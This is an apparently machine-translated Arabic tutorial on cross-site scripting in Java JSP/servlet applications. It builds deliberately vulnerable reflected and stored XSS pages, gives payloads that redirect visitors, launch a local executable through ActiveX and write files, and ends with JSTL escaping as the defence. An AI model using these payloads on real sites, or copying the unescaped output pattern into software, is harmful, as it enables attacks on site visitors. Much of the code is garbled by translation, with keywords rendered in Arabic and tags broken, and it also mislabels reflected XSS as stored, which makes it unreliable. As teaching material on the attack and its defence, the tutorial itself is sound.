مقدمة
مرحبًا بالجميع ، رجل طيب هو أنا ، أنا رجل طيب ، أنا -0nise. على منصات الإبلاغ عن الضعف الرئيسي ، نرى غالبًا نقاط الضعف XSS. لذا فإن السؤال هو ، لماذا يحدث هذا النوع من الضعف؟ كيف يجب إصلاح هذا الضعف؟
نص
1.xss؟ XSS؟ ماذا بحق الجحيم هو XSS؟
يسمى XSS أيضًا البرمجة النصية للموقع. لن أخبره أنه كان يسمى في الأصل CSS ، ولكن لكي لا يتم الخلط بينها وبين ملاءات الأسلوب المتتالية CSS التي نستخدمها. CSS (هجوم البرمجة النصية عبر المواقع) ، CSS (ورقة نمط متتالية) سخيفة ولا يمكنها معرفة الفرق. لذلك يسمى XSS.
2. ما هي مخاطر XSS؟
التجربة 1:
كود البناء 0x00
<٪@ page language = "java" import = "java.util.*" pageencoding = "utf-8" ٪> <٪ string path = request.getContextPath () ؛ String basePath = request.getScheme ()+": //" request.getServerName ()+"+request.getserport () "-// w3c // dtd html 4.01 transitional // en"> <html> <head> <base href = "<٪ = basepath ٪>"> <title> my jsp 'index.jsp' page </itha-title> <meta http-equiv = "pragma" content = "no-cache" content = "no-cache"> <meta http-equiv = "expires" content = "0"> <meta http-equiv = "keywords" content = "keyword1 ، keyword2 ، keyword3"> <meta http-equiv = "description" content = "this is my part"> request.setcharacterencoding ("UTF-8") ؛ // استلام سلسلة القيمة الواردة للمستخدم tmp = request.getParameter ("OPR") ؛ // القيمة الواردة الافتراضية فارغة إذا (tmp == null) {out.print ("111") ؛ } آخر {// transcoding string opr = new string (tmp.getBytes ("ISO-8859-1") ، "UTF-8") ؛ Out.print (OPR) ؛ } ٪> أنا محتوى </div> </body> </html>0x01 تخطيط البيئة
0x02 الثغرة الأمنية تدريبات
نزور: http: // localhost: 8080/xss/index.jsp؟ opr = i ٪ e6 ٪ 98 ٪ A5 ٪ E7 ٪ A7 ٪ 8b
ثم تفضل بزيارة: http: // localhost: 8080/xss/index.jsp؟ opr = 0nise
أخيرًا اكتشفنا "قانونًا رائعًا":
اطبع أي صفحة معلمة OPR تساوي. (يبدو هراء)
دعنا نحمل صورة ونرى
زيارة: http: // localhost: 8080/xss/index.jsp؟ opr = ٪ 3cimg ٪ 20SRC = ٪ 221.png ٪ 22 ٪ 3e ٪ 3c/img ٪ 3e
نظرًا لأنه يمكن تحميل جميع الصور ، هل تم تحميل ملفات JS الخاصة بنا أيضًا؟
يزور: http: // localhost: 8080/xss/index.jsp؟ opr = ٪ 3cscript ٪ 3ealert (/i ٪ E6 ٪ 98 ٪ A5 ٪ E7 ٪ A7 ٪ 8B ٪ E7 ٪ A4 ٪ BE ٪ E5 ٪ 8C ٪ BA ٪ E6 ٪ AC ٪ A2 ٪ E8 ٪ BF ٪ 8E E5 ٪ A4 ٪ A7 ٪ AE ٪ B6/) ٪ 3C/SCRIPT ٪ 3E
JS؟ JS؟ فهل من الممكن تغيير العنوان بعد القفز؟
زيارة: http: // localhost: 8080/xss/index.jsp؟ opr = ٪ 3cscript ٪ 3elocation.href = ٪ 27http: //bbs.icunqiu.com٪27٪3c/script٪3e
نظرًا لأن XSS يمكنها تحميل JS ، هل نفتح بعض الأشياء المحلية من خلال JS؟
ضع ملف md5.exe مقدمًا
زيارة: http: // localhost: 8080/xss/index.jsp؟ opr = <script> var objshell = new ActivexObject ("wscript.shell") ؛ objshell.run ("g:/work/xss/webroot/md5.exe") ؛ </script>
بما أنه يمكن فتح الملفات المحلية ، فالملفات عن بُعد طروادة؟ لديك محاكاة ساخرة للكمبيوتر؟ هذا هو الربع ببطء. لم أقل ذلك. . . . .
يمكن فتح جميع الملفات ، فماذا عن كتابة بعض الملفات؟
زيارة: http: // localhost: 8080/xss/index.jsp؟ opr = ٪ 3cscript ٪ 3evar ٪ 20fso ، tf ؛ fso ٪ 20 = ٪ 20new ٪ 20acivexobject (٪ 22scripting.filesystemObject ٪ 22) ؛ TF.Writeline (٪ 22i ٪ E6 ٪ 98 ٪ A5 ٪ E7 ٪ A7 ٪ 8B ٪ E7 ٪ A4 ٪ BE ٪ E5 ٪ 8C ٪ BA ٪ AC ٪ A2 ٪ E8 ٪ BF ٪ 8E ٪ E6 ٪ 82 A8 ٪ 22) ؛ TF.Close () ؛ ALERT (٪ 22 ٪ E6 ٪ 96 ٪ 87 ٪ E4 ٪ BB ٪ B6 ٪ E5 ٪ 86 ٪ 99 ٪ E5 ٪ 85 ٪ A5 ٪ E6 ٪ 88 90 ٪ E5 ٪ 8A ٪ 9F ٪ EF ٪ BC ٪ 81 22) ؛ ٪ 3C/Script ٪ 3E
من خلال التجارب المذكورة أعلاه ، يمكننا أن نرى عملية تعيين معلمة OPR. إذا لم يكن لمعلمة OPR قيمة ، فلا يمكن تنفيذها. يجب على الشخص المهاجم الوصول إلى المهاجم المصمم مسبقًا قبل الهجوم. تسمى طريقة هجوم XSS هذه: التخزين XSS
إذا كنت ترغب في رؤية تجربة أكثر قوة ، فيرجى متابعة القراءة.
التجربة 2:
مقدمة:
سوف تتعامل معظم مواقع الويب مع البيانات. لذا ، كيف تبدو هذه المواقع الإلكترونية عندما تظهر نقاط الضعف XSS؟
كود البناء 0x00
جزء قاعدة البيانات
على أساس
استيراد java.sql.connection ؛ استيراد java.sql.drivermanager ؛ استيراد java.sql.prepedstatement ؛ استيراد java.sql.resultset ؛ استيراد java.sql.sqlexception ؛ استيراد java.sql.statement ؛ public class {// open connection getconn () حاول {class.forname ("com.microsoft.sqlserver.jdbc.sqlserverdriver") ؛ conn = drivermanager.getConnection ("jdbc: sqlserver: // localhost: 1433 ؛ databasename = sqltmp" ، "SA" ، "SA") ؛ } catch (classNotFoundException e) {E.PrintStackTrace () ؛ } catch (sqlexception e) {E.PrintStackTrace () ؛ } return conn ؛ } // طريقة إغلاق Link public void closeall (connection conn ، stat stat ، resultset rs) {try {if (rs! = null) rs.close () ؛ if (stat! = null) stat.close () ؛ if (conn! = null) conn.close () ؛ } catch (sqlexception e) {E.PrintStackTrace () ؛ }} // overload the close method public void closeall (connection conn ، preparedStatement pstat ، resultset rs) {try {if (rs! = null) rs.close () ؛ if (pstat! = null) pstat.close () ؛ if (conn! = null) conn.close () ؛ } catch (sqlexception e) {E.PrintStackTrace () ؛ }} // تابع تحميل الفراغ العام verseall (connection conn ، preparedStatement pStat) {try {if (pstat! = null) pstat.close () ؛ if (conn! = null) conn.close () ؛ } catch (sqlexception e) {E.PrintStackTrace () ؛ }} // الطريقة العامة لإضافة وحذف وتعديل تحديث int العام (السلسلة SQL ، Object [] pram) {preparedStatement pStat = null ؛ اتصال conn = null ؛ int a = 0 ؛ حاول {conn = getConn () ؛ pStat = conn.preparestatement (SQL) ؛ // نقل من خلال مجموعة المعلمة وأضف مراسلات المعلمة في SET إلى عبارة SQL لـ (int i = 1 ؛ i <= pram.length ؛ i ++) {pstat.setObject (i ، pram [i-1]) ؛ } // طريقة الاتصال a = pstat.executeupdate () ؛ } catch (sqlexception e) {E.PrintStackTrace () ؛ } أخيرًا {closeall (conn ، pstat) ؛ } إرجاع أ ؛ }}CommentDao.java
استيراد java.sql.*؛ استيراد java.util.*؛ استيراد الكيان.*؛ comment commentdao يمتد على أساس { /***احصل على جميع الرسائل* /القائمة العامة <comm> getComment () {// sql string sql = "select cid ، cname ، ccontext from chements" ؛ قائمة <comm> list = new ArrayList <MaM> () ؛ // اتصال كائن اتصال قاعدة البيانات conn = null ؛ // SQL تنفيذ كائن reparedStatement PSTMT = null ؛ // تنفيذ قاعدة البيانات قيمة الإرجاع resultset rs = null ؛ حاول {// إنشاء ارتباط قاعدة البيانات conn = this.getConn () ؛ // إنشاء كائن تنفيذ SQL PSTMT = conn.preparestatement (SQL) ؛ // تنفيذ بيانات الإرجاع SQL RS = PSTMT.ExecuteQuery () ؛ // قراءة بينما (rs.next ()) {comment = new comm () ؛ Comment.setCid (Rs.GetInt ("CID")) ؛ comment.setCname (rs.getString ("cname")) ؛ comment.setcContext (rs.getString ("ccontext")) ؛ list.add (تعليق) ؛ }} catch (استثناء e) {E.PrintStackTrace () ؛ } أخيرًا {// أغلق this.closeall (conn ، pstmt ، rs) ؛ } قائمة الإرجاع ؛ } public int addComment (comm comment) {String sql = "insert in expressions inside (؟ ،؟)" ؛ // عدد الصفوف المتأثرة int النتيجة = 0 ؛ // اتصال كائن اتصال قاعدة البيانات conn = null ؛ // SQL تنفيذ كائن reparedStatement PSTMT = null ؛ حاول {// إنشاء ارتباط قاعدة البيانات conn = this.getConn () ؛ // إنشاء كائن تنفيذ SQL PSTMT = conn.preparestatement (SQL) ؛ // قم بتعيين المعلمات pStMt.SetString (1 ، comment.getCname ()) ؛ pStMt.SetString (2 ، comment.getCcontext ()) ؛ // تنفيذ نتيجة بيان SQL = pstmt.executeupdate () ؛ } catch (استثناء e) {E.PrintStackTrace () ؛ } أخيرًا {this.closeall (conn ، pstmt) ؛ } نتيجة الإرجاع ؛ }}Commentervlvet
استيراد java.io.*؛ استيراد javax.servlet.*؛ استيراد javax.servlet.http.*؛ استيراد الكيان.*؛ class commentservlvet public يمتد httpservlet { / ***dogge ()* / public void dogge (httpservletrequest report ، httpletsponse) request.setcharacterencoding ("UTF-8") ؛ استجابة. printWriter out = response.getWriter () ؛ String opr = request.getParameter ("OPR") ؛ CommentDao CommentDao = New CommentDao () ؛ // استرداد ما إذا كانت المعلمة فارغة إذا (opr == null || opr.equals ("all")) {request.setAttribute ("all" ، commentDao.getComment ()) ؛ // forward request.getRequestDispatcher ("comment.jsp"). } آخر إذا (opr.equals ("add")) {comment comment = new comm () ؛ comment.setCname (request.getParameter ("uname")) ؛ comment.setcContext (request.getParameter ("Context")) ؛ if (commentDao.adDcomment (comment)> 0) {Out.print ("<script> Alert ('اترك رسالة بنجاح') ؛ location.href = 'commentervlvet؟ opr = all' ؛ </script>") ؛ } آخر {out.print ("<script> Alert ('message fans') ؛ location.href = 'commentservlvet؟ opr = all' ؛ </script>") ؛ }} else {request.setattribute ("all" ، commentDao.getComment ()) ؛ // forward request.getRequestDispatcher ("comment.jsp"). } out.flush () ؛ out.close () ؛ } / ** * dopost () * / public void dopost (request httpservletrequest ، استجابة httpservletresponse) يلقي servletexception ، ioException {doget (request ، response) ؛ }}Comment.jsp
<٪@ page language = "java" import = "java.util.*، unitity.*" pageencoding = "utf-8" ٪> <٪ string path = request.getContextPath () ؛ string basepath = request.getScheme ()+": //" request.getservername ()+" html public "-// w3c // dtd html 4.01 Transitional // en"> <html> <head> <base href = "<٪ = basepath ٪>"> <title> my jsp 'comment.jsp' start page </itha> <meta http-equiv = "pragma" http-equiv = "cache-control" content = "no-cache"> <meta http-equiv = "expires" content = "0" request.setcharacterencoding ("UTF-8") ؛ if (request.getAttribute ("all") == null) {request.getRequestDispatcher ("CommentServlVet؟ opr = all"). } ٪> <Table> <٪ list <entity.comm> list = (list <entity.comm>) request.getAttribute ("all") ؛ لـ (int i = 0 ؛ i <list.size () ؛ i ++) {٪> <tr> <td> <٪ = list.get (i) .getCname () ٪> </td> <td> <sd> <textarea rows = "5" cols = "30" name = "context"> </sextarea> lamname: <input type = "text" name = "uname"/> <input type = "pridt" 0x01 تجربة الضعف
root@1~#
نترك رسالة على لوحة الرسائل:
<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
ثم تفضل بزيارة: http: // localhost: 8080/xss/comment.jsp
وبهذه الطريقة ، طالما كنت تصل إلى هذه الصفحة ، سيتم فتح البرنامج تلقائيًا وسيتم إنشاء ملف بعيد؟ بطيء الفهم.
root@2~#
نترك رسالة على لوحة الرسائل:
انسخ الرمز كما يلي: <script> var fso ، tf ؛ fso = new ActivexObject ("scripting.filesystemObject") ؛ tf = fso.createTextFile ("d: //test.txt" ، true)
ثم تفضل بزيارة: http: // localhost: 8080/xss/comment.jsp
كانت كتابة الملف ناجحة.
root@3~#
محتوى الرسالة:
[CODE] <SCRIPT> location.href = 'http: //bbs.icunqiu.com' </script> [code]
زيارة الصفحة: http: // localhost: 8080/xss/comment.jsp
سوف تقفز زيارة صفحة الرسائل تلقائيًا إلى موقع الويب الخاص بالمهاجم. هل هذا هو الاختطاف الأسطوري؟
3.xss حل الدفاع
كما يقول المثل ، أينما كان هناك هجوم ، هناك دفاع. مثل XSS ، هناك أساليب الهجوم وحلول الدفاع.
EL Expression + JSTL TAG Library
EL (لغة التعبير): [الحجم = 12.0000pt] لجعل الكتابة JSP أسهل. لغة التعبير مستوحاة من لغة التعبير ECMASCRIPT و XPATH. يوفر طرقًا لتبسيط التعبيرات في JSP لجعل رمز JSP أكثر بساطة.
JSTL (مكتبة العلامات القياسية JSP): مكتبة علامة JSP مفتوحة المصدر.
التجربة 1 رمز الدفاع:
<٪@ page language = "java" import = "java.util. request.getScheme ()+": //"+request.getServerName ()+": "index.jsp" صفحة البدء </title> <meta http-equiv = "pragma" content = "no-cache"> <meta http-equiv = "cache-control" content = "no-cacher"> keyworder1 ، keyworder1 ، keyword1 ، keyword1 ، keyword1 ، keyworder1 ، keyword1 ، keyworder1 ، keyworder1 ، keyworder <meta http-equiv = "description" content = "This is my page"> </head> <body> <div style = "margin: 0 auto"> <٪ request.setcharacterencoding ("UTF-8") ؛ String TMP = request.getParameter ("OPR") ؛ // ما إذا كانت القيمة الواردة فارغة إذا (tmp == null) {out.print ("111") ؛ } آخر {// transcoding string opr = new string (tmp.getBytes ("ISO-8859-1") ، "UTF-8") ؛ request.setattribute ("name" ، opr) ؛ ٪> <c: Out value = "$ {requestscope.name}"> </c: Out> <٪} ٪> أنا محتوى </div> </body> </html>التجربة 2 رمز الدفاع:
<٪@ page language = "java" import = "java.util.*، unitity.*" pageencoding = "utf-8" ٪> <٪@ taglib uri = "http://java.sun.com/jsp/jstl/core" prefix = "c request.getScheme ()+": //"+request.getServerName ()+":"+request.getServerPort ()+path+"/" ؛ ٪>
<! doctype html public "-// w3c // dtd html 4.01 transitional // en"> <html> <head> <head> http-equiv = "cache-control" content = "no-cache"> <meta http-equiv = "expires" content = "0" request.setcharacterencoding ("UTF-8") ؛ if (request.getAttribute ("all") == null) {request.getRequestDispatcher ("CommentServlVet؟ opr = all"). } ٪> <Table> <!-حل الدفاع XSS-> <c: foreach var = "x" عناصر = "$ {requestscope.all}"> <tr> <td> <c: out value = "$ {x.getcname ()}">/c: out> <td> <c: out value = </td> </td> </tr> </c: foreach> </table> <form action = "commentervlvet؟ opr = add" method = "post"> <textarea rows = "5" cols = "30" name = "context"> </sevidea> naber </body> </html> خاتمة
التكنولوجيا ليست بالأبيض والأسود ، والتخصص جيد جدا.